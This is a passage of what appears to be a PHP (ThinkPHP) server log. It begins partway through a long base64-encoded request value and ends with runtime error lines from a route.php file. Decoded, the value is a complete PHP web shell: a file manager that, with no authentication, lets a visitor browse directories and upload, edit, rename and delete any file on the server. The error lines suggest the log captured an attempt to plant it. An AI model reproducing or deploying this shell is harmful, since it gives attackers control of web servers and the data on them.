AgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'admin' => 'lib', 'webuploader' => '0.1.15', 'server' => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31]